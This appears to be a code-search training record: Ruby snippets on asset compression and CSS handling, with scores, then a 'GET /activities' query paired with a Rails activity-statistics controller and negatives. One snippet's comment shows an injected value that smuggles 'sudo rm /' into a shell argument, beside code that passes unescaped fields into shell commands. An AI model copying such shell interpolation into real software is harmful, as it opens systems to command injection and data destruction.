compressor.write(data)\n end\n compressor.close\n end\n end", "def all_scss_into_one_file\n File.open(base_scss_file, 'w') do |file|\n sass_files.each do |sass_file|\n file.write(\"/* file: #{sass_file} */\\n\") if development?\n file.write(File.read(sass_file))\n end\n end\n end", "def merge(paths)\n prepare(paths)\n end", "def compress_path(path)\n path.gsub('/', ':').gsub(/:(..):(..):(..):(..):\\1\\2\\3\\4/, '::\\1\\2\\3\\4')\n end", "def file_list(path, ext = 'scss', remover = '')\n # Necessary so that directories aren't counted\n collect_path = path.include?(\"*\") ? path : \"#{path}/**/*.#{ext}\"\n # Remove first slash from path if present. probably a better way to do this.\n Dir[collect_path].collect { |file| file.gsub(remover, '').gsub(/^\\/app\\//, 'app/') if File.file?(file) }\n end", "def css\n css_files = []\n @assets.each do |type, path|\n case type\n when :folder\n # Don't import any css/scss files that start with an underscore, so scss partials\n # aren't imported by default:\n # http://sass-lang.com/guide\n css_files += Dir[\"#{path}/**/[^_]*.{css,scss}\"].sort.map do |folder|\n '/assets' + folder[path.size..-1].gsub(/[.]scss$/, '')\n end\n when :css_file\n css_files << path\n end\n end\n\n css_files.uniq\n end", "def gzip *paths\n paths.collect do |path|\n system \"/usr/bin/gzip\", path\n Pathname.new(\"#{path}.gz\")\n end\nend", "def lessc(file_info)\n compile_file(file_info[1], \"app\")\nend", "def stylesheets_from_plugins\n Dir.glob(\"vendor/plugins/*/assets/stylesheets/*.css\").select{|s| !s.include? \"vendor/plugins/alchemy\"}.inject(\"\") do |acc, s|\n filename = File.basename(s)\n plugin = s.split(\"/\")[2]\n acc << stylesheet_link_tag(filename, :plugin => plugin)\n end\n end", "def to_css(options = {})\n Less::JavaScript.exec { @tree.toCSS(options) }\n end", "def copy_styles_and_js\n base_dir = @generator.base_dir\n Dir.mkdir(\"#{base_dir}/js\")\n FileUtils.cp(\"#{Amy::BASE_DIR}/views/js/amy.min.js\", \"#{base_dir}/js/amy.js\")\n FileUtils.cp(\"#{Amy::BASE_DIR}/views/js/data.json\", \"#{base_dir}/data.json\") \n Dir.mkdir(\"#{base_dir}/style\")\n FileUtils.cp(\"#{Amy::BASE_DIR}/views/style/style.css\", \"#{base_dir}/style/style.css\")\n end", "def controller_stylesheet_tags\n\n lo_files = []\n \n required_cc_files.each do |f|\n fn = [f,\"css\"].join(\".\")\n unless Rails.application.assets.find_asset(fn).nil?\n lo_files << stylesheet_link_tag(fn)\n end\n end\n\n lo_files.join.html_safe\n\n end", "def minify (files = [])\n\n\t\tunless which('jitify')\n\t\t\tputs \"WARNING: jitify is not installed on your system. Skipping minification...\"\n\t\t\treturn\n\t\tend\n\n\t\tunless files.is_a? Array\n\t\t\tfiles = [files]\n\t\tend\n\n\t\tfiles.each do |file|\n\n\t\t\tfname = get_filename(file)\n\n\t\t # invoke system jitify\n\t\t system(\"jitify --minify #{fname} > #{fname + '.min'}\")\n\t\t # remove the .min extension\n\t\t system(\"mv #{fname + '.min'} #{fname}\")\n\n\t\tend\n\n\tend", "def compress(path)\n path.sub!(%r[/$],'')\n archive = File.join(path,File.basename(path))+'.zip'\n FileUtils.rm archive, :force=>true\n Zip::File.open(archive, 'w') do |zipfile|\n Dir[\"#{path}/**/**\"].reject{|f|f==archive}.each do |file|\n zipfile.add(file.sub(path+'/',''),file)\n end\n end\n archive\n end", "def compress_file(file)\n type = file[/\\.(css|js)$/, 1]\n minfile = file.sub /(?=\\.(css|js)$)/, \"-min\"\n\n # SECURITY NOTICE:\n # some fields come from user specificated source\n # e.g. charset can be ' gbk && sudo rm / '\n # This is dangerous especially when this script \n # acts as a web service.\n result = %x[\n java -jar #{@options[:core_jar_path]} \\\n --type #{type} \\\n --charset #{@options[:charset]} \\\n -o #{minfile} #{file}\n ] \n\n puts \"#{file} => #{minfile}\"\n result\n end", "def compile_jst(paths)\n compiled = paths.map do |path|\n template_name = File.basename(path, File.extname(path))\n contents = File.read(path).gsub(/\\n/, '').gsub(\"'\", '\\\\\\\\\\'')\n \"window.JST.#{template_name} = #{Jammit.template_function}('#{contents}');\"\n end\n compiler = Jammit.include_jst_script ? File.read(DEFAULT_JST_SCRIPT) : '';\n [JST_START, compiler, compiled, JST_END].flatten.join(\"\\n\")\n end", "def compile_js_files(file, prod=true)\n\t# use development style options for now, even in production\n\tif prod\n\t\toptions = {:output => {:comments => :none }}\n\t\tFile.open(file, \"w\") { |f| f.write(Uglifier.compile(concat_js_files, options)) }\n\telse\n\t\t#options = {:output => {:comments => :all, :beautify => true, :preserve_line => true}}\n\t\tFile.open(file, \"w\") { |f| f.write(concat_js_files) }\n\tend\n\n\tputs \" \\e[32mwrite #{file}\\e[0m\"\nend", "def bundle_files(files)\n output = \"\"\n files.select { |f| !f.content.empty? }.each do |file|\n content = file.content\n path = file.path\n output << bundled_file_header(path) \n output << include_imported_files(content, path) if file.type[:ext] == 'css'\n content << javascript_fix if file.type[:ext] == '.js' \n output << content\n output << bundled_file_footer(path)\n end\n output\n end", "def minify(filepath)\n @original_filepath = filepath\n # Count number of line of input\n input_lines = IO.readlines(filepath).length\n # File streaming\n File.open(min_ext, 'w') do |output|\n File.foreach(filepath).with_index(1) do |line, i|\n eol = ':' # End of file char\n # Remove inline comment (must be before whitespace striping)\n line = inline_comment(line)\n # Remove leading and trailing whitespaces: null, horizontal tab, line feed,\n # vertical tab, form feed, carriage return, space\n line.strip!\n # Remove comments except inline ones (must be after whitespace striping)\n line = '' if line[0] == \"'\" || line[0..2].upcase == 'REM'\n # Remove space when several spaces between two keywords\n line = internal_space(line)\n # Remove line splitting\n line[-1] = '' && eol = '' if line[-2..] == ' _'\n # Write processed line unless it is a blank line or the last line\n unless line.empty?\n output.write(line)\n output.write(eol) unless i == input_lines\n end\n end\n end\n calc_size\n return @min_filepath\n end", "def combine( path_list )\n path_list\n .collect { |p| File.read( File.join(SRC_DIR, p) ) }\n .join(\"\\n\\n\")\n end", "def compress_img (files = [])\n\t\t\n\t\tunless which('convert')\n\t\t\tputs \"WARNING: ImageMagick is not installed on your system. Skipping image compression...\"\n\t\t\treturn\n\t\tend\n\t\t\n\t\tunless files.is_a? Array\n\t\t\tfiles = [files]\n\t\tend\n\n\t\tfiles.each do |file|\n\n\t\t\tfname = get_filename(file)\n\n\t\t\tcompress_cmd = \n\t\t\t\t\t\t\t\t\"convert -strip \" + \n\t\t\t\t\t\t\t\t# uncomment to enable gaussian blur (smaller files but blurry)\n\t\t\t\t\t\t\t\t#\"-gaussian-blur 0.01 \" +\n\t\t\t\t\t\t\t\t# uncomment to enable interlacing (progressive compression for jpeg)\n\t\t\t\t\t\t\t\t#\"-interlace Plane \" +\n\t\t\t\t\t\t\t\t\"#{fname} -resize #{$img_options[:max_width]}x#{$img_options[:max_height]}\\\\> \" + \n\t\t \t\t\t\t\t\"-compress #{$img_options[:compress_type]} -quality #{$img_options[:quality]} \" + \n\t\t \t\t\t\t\t\"#{get_raw_filename(fname) + '.' + $img_options[:output_ext]}\"\n\t\t\t\n\t\t # invoke system ImageMagick\n\t\t system(compress_cmd)\n\t\t # remove the old file (if applicable)\n\t\t if (get_ext(fname) != (\".\" + $img_options[:output_ext]))\n\t\t \tsystem(\"rm #{fname}\")\n\t\t end\n\n\t\tend\n\n\tend", "def paths\n @paths ||= [STYLESHEETS_PATH]\n end", "def normalize_paths\n new_sass = \"\"\n sass.each_line do |line|\n line = SassLine.new(@epub, self, line)\n line.normalize_paths if line.has_path?\n new_sass += \"#{line.to_s}\\n\"\n end\n\n self.sass = new_sass\n end", "def assets_to_compile \n return @assets_to_compile if @assets_to_compile \n files = Dir.glob(prefix + \"**/*\").select {|f| File.file?(f)}\n files.collect! { |f| f.gsub(/^#{prefix}\\//, \"\") }\n end", "def css_includes *ss\n\t\t\tss.each { |s|\n\t\t\t\tlink :rel => 'stylesheet', :media => 'all', :href => s\n\t\t\t}\n\t\tend", "def link_css(path, media = \"screen\")\n path = \"/#{path}\" unless path =~ %r{^/}\n path = \"#{path}.css\" unless path =~ %r{\\.css$}\n %{<link href=\"#{timestamp_asset(path)}\" media=\"#{media}\" rel=\"Stylesheet\" type=\"text/css\" />}\n end", "def stylesheet_bundles_with_chunks_tag(*names, manifest: nil, **options)\n if Minipack.configuration.extract_css?\n sources_from_manifest_entrypoints(names, 'css', key: manifest).map { |entry|\n stylesheet_link_tag(entry.path, **minipack_options_for(entry, options))\n }.join(\"\\n\").html_safe\n end\n end", "def concat_css(filename, mode)\n result = \"\"\n CssSplitter.split_file(filename).each do |part|\n if part[:type] == :source\n result += part[:value] if mode == :css\n else\n if mode == :css\n result += \"url('\" + part[:value].sub(/^.*?([^\\/]+)$/, '\\1') + \"')\"\n else\n result += filename.sub(/[^\\/]*$/, '') + part[:value] + \"\\n\"\n end\n end\n end\n return result\n end", "def optimize_images!(paths, &block)\n run_method_for(paths, :optimize_image!, &block)\n end", "def optimize_images!(paths, &block)\n run_method_for(paths, :optimize_image!, &block)\n end", "def optimize_images!(paths, &block)\n run_method_for(paths, :optimize_image!, &block)\n end", "def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n concat = options.delete(\"concat\")\n cache = concat || options.delete(\"cache\")\n recursive = options.delete(\"recursive\")\n\n if concat || (ActionController::Base.perform_caching && cache)\n joined_stylesheet_name = (cache == true ? \"all\" : cache) + \".css\"\n joined_stylesheet_path = File.join(joined_stylesheet_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : STYLESHEETS_DIR, joined_stylesheet_name)\n\n unless ActionController::Base.perform_caching && File.exist?(joined_stylesheet_path)\n write_asset_file_contents(joined_stylesheet_path, compute_stylesheet_paths(sources, recursive))\n end\n stylesheet_tag(joined_stylesheet_name, options)\n else\n expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join(\"\\n\").html_safe\n end\n end", "def save_previewer_style(theme)\n target = Rails.root.join('frontend', 'src','app','stylesheets','theme-previewer-tmp.less')\n File.open(target, 'w') { |f| f.write(theme_to_less(theme)) }\n end", "def copy_assets\r\n FileUtils.cd('view') do\r\n %w[style.css napoli.png ferraro.svg].each do |name|\r\n FileUtils.cp(name, File.join('..', 'output', name))\r\n end\r\n end\r\nend", "def css_files\n files = [\"#{url_location}/codemirror.css\", \"#{url_location}/application.css\"]\n\n if Raddocs.configuration.include_bootstrap\n files << \"#{url_location}/bootstrap.min.css\"\n end\n\n Dir.glob(File.join(docs_dir, \"styles\", \"*.css\")).each do |css_file|\n basename = Pathname.new(css_file).basename\n files << \"#{url_location}/custom-css/#{basename}\"\n end\n\n files.concat Array(Raddocs.configuration.external_css)\n\n files\n end", "def precompile_assets\n if rails? && defined?(Rake)\n ::Rake::Task['assets:precompile'].enhance do\n svgs.map(&:build)\n end\n end\n end", "def convert_theme(name, dir, stylesheets)\n if name == 'base'\n theme = @base_theme\n else\n theme = File.read(File.join(dir, @theme_filename))\n\n # Fix Overlay stuff\n theme.gsub!(/\\;filter:Alpha/, \"; filter: Alpha\")\n theme += WIDGET_BORDER\n theme += AUTOCOMPLETE_FIX\n end\n FileUtils.mkdir_p stylesheets\n # Figure out the variables with the regexp\n vars = Hash.new\n regexp.match(theme).captures.each_with_index do |capture, index|\n # Remove variable comments\n capture.gsub! /\\/\\*\\{\\w*\\}\\*\\/$/, ''\n # Update url\n capture.gsub! /^url\\(images(.*)\\)/, \"image_url(\\\"jquery/ui/#{name}\\\\1\\\")\"\n # Quote most things\n capture = \"\\\"#{capture}\\\"\" if capture =~ /[^#%0-9a-fptxm\\-\\.]/ and !(capture =~ /^image_url/) and !(capture =~ /^[A-Za-z]+/)\n vars[VARIABLE_NAME_BASE + regexp_variables[index]] ||= capture\n end\n # Write out the theme sass\n open File.join(stylesheets, \"#{name}.scss\"), 'w' do |f|\n f.print JQUERY_MESSAGE2\n f.print \"\\n\"\n vars.each do |variable_name, value|\n f.print \"$#{variable_name}: #{value} !default;\\n\"\n end\n f.print \"\\n@import \\\"jquery/ui/_theme\\\"\\n\"\n end\n end", "def copy_stylesheets\n FileUtils.mkdir_p \"app/assets/javascripts/core\"\n FileUtils.mkdir_p \"app/assets/stylesheets/base\"\n FileUtils.mkdir_p \"app/assets/stylesheets/modules\"\n FileUtils.mkdir_p \"app/assets/stylesheets/pages\"\n FileUtils.mkdir_p \"app/views/icons\"\n FileUtils.mkdir_p \"app/views/shared\"\n FileUtils.remove_file \"app/assets/stylesheets/application.css\"\n\n\n #Application JS\n copy_file \"../../templates/js/application.js\", \"app/assets/javascripts/application.js\"\n\n\n #Application CSS\n copy_file \"../../templates/css/application.scss\", \"app/assets/stylesheets/application.scss\"\n copy_file \"../../templates/css/bootstrap_and_overrides.css.less\", \"app/assets/stylesheets/bootstrap_and_overrides.css.less\"\n #Base CSS files\n copy_file \"../../templates/css/base/animations.scss\", \"app/assets/stylesheets/base/animations.scss\"\n copy_file \"../../templates/css/base/config.scss\", \"app/assets/stylesheets/base/config.scss\"\n copy_file \"../../templates/css/base/mixins.scss\", \"app/assets/stylesheets/base/mixins.scss\"\n copy_file \"../../templates/css/base/shame.scss\", \"app/assets/stylesheets/base/shame.scss\"\n copy_file \"../../templates/css/base/type.scss\", \"app/assets/stylesheets/base/type.scss\"\n copy_file \"../../templates/css/base/layout.scss\", \"app/assets/stylesheets/base/layout.scss\"\n #CSS Modules\n copy_file \"../../templates/css/modules/buttons.scss\", \"app/assets/stylesheets/modules/buttons.scss\"\n copy_file \"../../templates/css/modules/icons.scss\", \"app/assets/stylesheets/modules/icons.scss\"\n \n\n #Application Layout\n copy_file \"../../templates/views/layouts/application.html.erb\", \"app/views/layouts/application.html.erb\"\n #Shared views\n copy_file \"../../templates/views/shared/_favicons.html.erb\", \"app/views/shared/_favicons.html.erb\"\n copy_file \"../../templates/views/shared/_scripts.html.erb\", \"app/views/shared/_scripts.html.erb\"\n copy_file \"../../templates/views/shared/_navbar.html.erb\", \"app/views/shared/_navbar.html.erb\"\n copy_file \"../../templates/views/shared/_footer.html.erb\", \"app/views/shared/_footer.html.erb\"\n #Icon set\n copy_file \"../../templates/views/icons/_sprite.html.erb\", \"app/views/icons/_sprite.html.erb\"\n\n end", "def include_individual_stylesheets(bundles=[])\n tags = []\n bundles.each do |bundle| \n tags.concat bundle.files.map { |css| stylesheet_link_tag(css.path) }\n end\n tags.join(\"\\n\")\n end", "def optimize_images(paths, &block)\n run_method_for(paths, :optimize_image, &block)\n end", "def optimize_images(paths, &block)\n run_method_for(paths, :optimize_image, &block)\n end", "def optimize_images(paths, &block)\n run_method_for(paths, :optimize_image, &block)\n end", "def extned_path\n @temp_path = path\n unless name == nil\n self.path = \"app/assets/templates/#{name.downcase}/#{path}.css.scss\"\n end \n end", "def js\n puts 'Compressing JS files...'\n `java -jar ./_scripts/yuicompressor-2.4.2.jar ../www/_res/js/uncompressed/main.js -o ../www/_res/js/main.js`\n # --nomunge\nend", "def array_to_css_include_tags arr\n return '' if arr.blank?\n s = ''\n arr.each{ |line| s<< stylesheet_link_tag(line, :media=>:screen) }\n s\n end", "def fix_asset_references\n asset_converter = Hash.new\n \n Dir.chdir(@docs_dir)\n file_list = Dir.glob(\"**/*.*\").reject {|fn| File.directory?(fn) }\n \n # generate the converter list\n file_list.each do |f|\n case File.extname(f)\n when \".js\"\n when \".css\"\n asset_converter[File.basename(f)] = f\n end\n end\n \n file_list.each do |f|\n absoluteFilePath = File.join(@plugin_directory, @docs_dir, f)\n \n if File.extname(f) == \".html\"\n doc = Nokogiri::HTML(File.open(absoluteFilePath))\n \n # remove javascript if desired\n if @strip_javascript\n doc.xpath(\"//script\").remove\n \n # when scraping this method wont be called\n # set to false for when we are not scraping so generate_structure can strip JS if needed\n @strip_javascript = false\n end\n \n # relink css\n doc.xpath(\"//link\").each do |link|\n originalLinkPath = File.basename(link[\"href\"])\n \n next if File.extname(originalLinkPath) != \".css\"\n next if not asset_converter.has_key? File.basename(originalLinkPath)\n \n # convert the link paths\n link[\"href\"] = (\"../\" * (f.count \"/\")) + asset_converter[File.basename(link[\"href\"])]\n end\n \n # relink images\n \n # write the converted file\n File.open(absoluteFilePath, \"w\") { |file| file.puts doc }\n end\n end\n end", "def compress(path, archive)\n require 'zip/zip'\n require 'zip/zipfilesystem'\n\n path.sub!(%r[/$], '')\n ::Zip::ZipFile.open(archive, 'w') do |zipfile|\n Dir[\"#{path}/**/**\"].reject { |f| f==archive }.each do |file|\n print_line(\"Adding #{file} to archive\")\n zipfile.add(file.sub(path+'/', ''), file)\n end\n end\n print_line(\"All files saved to #{archive}\")\n end", "def compile(path)\n files = getFilesInDirCompiler(path)\n filesWithLines = getFilesWithLinesCompiler(files)\n classNames = getClassNames(filesWithLines)\n functionInfo = getFunctionNameTypesFiles(filesWithLines)\n compilerInfo = [classNames, functionInfo]\n\n for i in 0..filesWithLines.size-1\n fSize = filesWithLines[i][0].size\n\n #renaming the\n compiledFileName = filesWithLines[i][0][0, fSize-5]+\".vm\"\n compiledFileXMLName = filesWithLines[i][0][0, fSize-5]+\"Out.xml\"\n tokensFileName = filesWithLines[i][0][0, fSize-5]+\"TOut.xml\"\n lines = filesWithLines[i][1]\n lines = getLines(lines)\n tokens = tokenize(lines)\n\n writeCompiledFile(tokens, compilerInfo, compiledFileName)\n writeCompiledXMLFile(tokens, classNames, compiledFileXMLName)\n writeTokensXMLFile(tokens, tokensFileName)\n puts filesWithLines[i][0] + \" was tokenized and compiled\" +\"\\n\"\n end\nend", "def write(dest)\n dest_path = destination(dest)\n \n return false if File.exist? dest_path and !modified?\n @@mtimes[path] = mtime\n\n FileUtils.mkdir_p(File.dirname(dest_path))\n begin\n content = File.read(path)\n content = ::Less::Parser.new({:paths => [File.dirname(path)]}).parse(content).to_css\n File.open(dest_path, 'w') do |f|\n f.write(Yuicssmin.compress(content)) # Add a Yuicompress tool\n end\n rescue => e\n STDERR.puts \"Less Exception: #{e.message}\"\n end\n\n true\n end", "def css_bundle_filepath(files)\n bundle_filepath(WebResourceBundler::ResourceFileType::CSS, files)\n end" ]
[ "0.7510991", "0.6587842", "0.648634", "0.6003342", "0.58771884", "0.57534343", "0.57087606", "0.5706346", "0.564547", "0.5538915", "0.5530495", "0.5498455", "0.5482426", "0.54446524", "0.5368469", "0.5366193", "0.5358923", "0.53150177", "0.5286185", "0.52545947", "0.52465004", "0.5243596", "0.5242621", "0.52337927", "0.5159112", "0.5143432", "0.5131384", "0.50943124", "0.5047658", "0.5047658", "0.50459427", "0.50177556", "0.49606663", "0.49606663", "0.49559227", "0.49557945", "0.4942447", "0.49232307", "0.4918204", "0.49140272", "0.49090293", "0.4897155", "0.48750082", "0.48636255", "0.48612368", "0.48558393", "0.48301053", "0.4818926", "0.48048013", "0.480462", "0.48035216", "0.4793774", "0.4789475", "0.4780135", "0.47768587", "0.4774607", "0.47740573", "0.47659826", "0.4761263", "0.47581497", "0.47572336", "0.47506258", "0.47494546", "0.4749113", "0.47465664", "0.47129595", "0.4709781", "0.47085065", "0.47060674", "0.46910605", "0.4690921", "0.46842462", "0.46784642", "0.46766958", "0.46702206", "0.46619314", "0.46503314", "0.46381688", "0.46166125", "0.46166125", "0.46166125", "0.46063998", "0.45785034", "0.4577582", "0.4562507", "0.4557196", "0.45568228", "0.45488113", "0.4538788", "0.45342815", "0.45342815", "0.45342815", "0.45332587", "0.4532735", "0.45324248", "0.45290765", "0.45101592", "0.4505297", "0.44967127", "0.4489794" ]
0.74376744
1
GET /activities GET /activities.json
def index # default show activities starting two months ago from_date = Time.now - 2.months to_date = Time.now + 2.months if(params.has_key?(:start_date)) from_date = Time.parse(params[:start_date]) - 3.months to_date = Time.parse(params[:start_date]) + 3.months end @activities = Activity.includes(:activity_type).where("user_id=? and start>=? and start<=?", current_user.id, from_date, to_date) total_duration = Activity.where("user_id=?", current_user.id).group(:user_id).sum(:duration)[1] @total_hours = 0 @total_minutes = 0 if !total_duration.nil? @total_hours = total_duration / 60 @total_minutes = total_duration % 60 end #total calories sql = <<-SQL SELECT activities.user_id, SUM(activities.duration*activity_types.calories_factor) as calories FROM activities JOIN activity_types ON activities.activity_type_id = activity_types.id WHERE activities.user_id=#{ActiveRecord::Base.connection.quote(current_user.id)} GROUP BY activities.user_id SQL first = Activity.find_by_sql(sql).first @total_calories = first.nil? ? 0 : first.calories # favorite activity calculated as activity type with longest duration favorite = ActivityType.select('activity_types.id, activity_types.name') .left_joins(:activities) .where("activities.user_id=?", current_user.id) .group('activity_types.id') .sum('activities.duration') sql = <<-SQL SELECT activity_types.id, activity_types.name, SUM(activities.duration) as duration FROM activity_types JOIN activities ON activities.activity_type_id = activity_types.id WHERE activities.user_id=#{ActiveRecord::Base.connection.quote(current_user.id)} GROUP BY activity_types.id ORDER BY duration DESC SQL first = ActivityType.find_by_sql(sql).first @favorite_activity_type = first.nil? ? "-" : first.name # duration per day for last 30 days if Rails.env.production? sql = <<-SQL SELECT date_trunc('day', start) "start_date", SUM(duration) as duration FROM activities WHERE user_id=#{ActiveRecord::Base.connection.quote(current_user.id)} AND start<=#{ActiveRecord::Base.connection.quote(Time.now)} AND start>=#{ActiveRecord::Base.connection.quote(Time.now - 31.days)} GROUP BY 1 SQL data = Activity.find_by_sql(sql).map{ |i| {start: i[:start_date].strftime("%F"), duration: i[:duration]} } .each_with_object({}) { |k, h| h[k[:start]] = {:duration => k[:duration] } } else sql = <<-SQL SELECT SUM(duration) as duration, date(start) as start_date FROM activities WHERE user_id=#{ActiveRecord::Base.connection.quote(current_user.id)} AND start<=#{ActiveRecord::Base.connection.quote(Time.now)} AND start>=#{ActiveRecord::Base.connection.quote(Time.now - 31.days)} GROUP BY date(start) SQL data = Activity.find_by_sql(sql).index_by { |t| t.start_date } end @minutes_data = {} (0..30).each { |i| i = 30 - i day = (Time.now - i.days).to_date count = 0 if !data[day.strftime("%F")].nil? count = data[day.strftime("%F")][:duration] end @minutes_data[day.strftime("%b %d")] = count } # calories per day for last 30 days if Rails.env.production? sql = <<-SQL SELECT date_trunc('day', start) "start_date", SUM(activities.duration*activity_types.calories_factor) as calories FROM activities JOIN activity_types ON activities.activity_type_id = activity_types.id WHERE user_id=#{ActiveRecord::Base.connection.quote(current_user.id)} AND start<=#{ActiveRecord::Base.connection.quote(Time.now)} AND start>=#{ActiveRecord::Base.connection.quote(Time.now - 31.days)} GROUP BY 1 SQL data = Activity.find_by_sql(sql).map{ |i| {start: i[:start_date].strftime("%F"), calories: i[:calories]} } .each_with_object({}) { |k, h| h[k[:start]] = {:calories => k[:calories] } } else sql = <<-SQL SELECT SUM(activities.duration*activity_types.calories_factor) as calories, date(start) as start_date FROM activities JOIN activity_types ON activities.activity_type_id = activity_types.id WHERE activities.user_id=#{ActiveRecord::Base.connection.quote(current_user.id)} AND start<=#{ActiveRecord::Base.connection.quote(Time.now)} AND start>=#{ActiveRecord::Base.connection.quote(Time.now - 31.days)} GROUP BY date(activities.start) SQL data = Activity.find_by_sql(sql).index_by { |t| t.start_date } end @calories_data = {} (0..30).each { |i| i = 30 - i day = (Time.now - i.days).to_date count = 0 if !data[day.strftime("%F")].nil? count = data[day.strftime("%F")][:calories] end @calories_data[day.strftime("%b %d")] = count } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def activities\n get_call(\"1/activities.json\")\n end", "def activities(params = {})\n scope 'default'\n get('activities/', params)\n end", "def activity(id)\n get(\"/activities/#{id}.json\")\n end", "def activity(id)\n get(\"/activities/#{id}.json\")\n end", "def activities(options={})\n response = connection.get do |req|\n req.url \"activities\", options\n end\n return_error_or_body(response)\n end", "def recent_activities\n get(\"/user/#{@user_id}/activities/recent.json\")\n end", "def activities(options = {})\n get('/user/activities', query: options)\n end", "def recent_activities()\n get(\"/user/#{@user_id}/activities/recent.json\")\n end", "def activities(id)\n get(\"/accounts/#{id}/activities\")['activities']\n end", "def index\n @activities = Activity.all\n render json: @activities\n end", "def index(user)\n activities = []\n json = eval(RestClient.get(ENDPOINT + \"/activities?user_id=#{user}\").to_s)\n json.each do |attributes|\n activities << Activity.new(attributes)\n end\n activities\n end", "def activity(params={})\n Endpoints::Activity.new(self).get(params)\n end", "def show\n begin\n @activity = PublicActivity::Activity.all.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n return render_errors(['No activity found.'])\n end\n\n return render :json => {:status => 1, :activities => @activities}\n end", "def favorite_activities\n get(\"/user/#{@user_id}/activities/favorite.json\")\n end", "def show\n @activity = current_user.activities.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def favorite_activities()\n get(\"/user/#{@user_id}/activities/favorite.json\")\n end", "def show\n @activity = current_user.user_activities.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def activities_get(opts = {})\n activities_get_with_http_info(opts)\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def frequent_activities\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end", "def frequent_activities()\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end", "def get_activities(opts = {})\n data, _status_code, _headers = get_activities_with_http_info(opts)\n return data\n end", "def index\n @activities = current_user.activities\n end", "def get_activities\n\t\tviewer = nil\n\t\tviewer = User.find_by_id(params[:user_id]) if (params.has_key?(:user_id))\n\t\t\n @activities = Activity.getActivitiesBy2(params[:category_id], params[:user_id])\n\t\t(0...@activities.length).each {|ndx| @activities[ndx].viewer = viewer}\n render :json => @activities\n end", "def show\n @activities = Activity.where('schedule_id': params[:id])\n render json: @activities.as_json\n end", "def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end", "def show\n render json: @activity\n end", "def index\n @activities = current_user.activities\n @profile = current_user.profile # Comeback too\n @categories = Category.all\n respond_to do |format|\n format.html\n format.json { render json: @activities }\n end\n end", "def activities_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.activities_get ...\"\n end\n # resource path\n local_var_path = \"/activities\"\n\n # query parameters\n query_params = {}\n query_params[:'user_id'] = opts[:'user_id'] if !opts[:'user_id'].nil?\n query_params[:'filter_id'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'type'] = opts[:'type'] if !opts[:'type'].nil?\n query_params[:'start'] = opts[:'start'] if !opts[:'start'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'start_date'] = opts[:'start_date'] if !opts[:'start_date'].nil?\n query_params[:'end_date'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n query_params[:'done'] = opts[:'done'] if !opts[:'done'].nil?\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#activities_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end", "def get_activities_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.get_activities ...\"\n end\n # resource path\n local_var_path = \"/activities\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_template'] = opts[:'filter_template'] if !opts[:'filter_template'].nil?\n query_params[:'filter_name'] = opts[:'filter_name'] if !opts[:'filter_name'].nil?\n query_params[:'filter_id'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceBareActivityResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#get_activities\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def show\n @selected_user = User.find_by_id(params[:id])\n @activities = @selected_user.activities.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activities }\n end\n end", "def index\n \t@activities = Activity.all(limit: ActivitiesController::MAX_SEARCH_RESULTS)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @activities }\n end\n end", "def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end", "def activities\n add_to_query restrict_kind: 'activity'\n end", "def show\n @activity = Activity.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @activity = Activity.find(params[:id])\n respond_to do |format|\n format.html\n 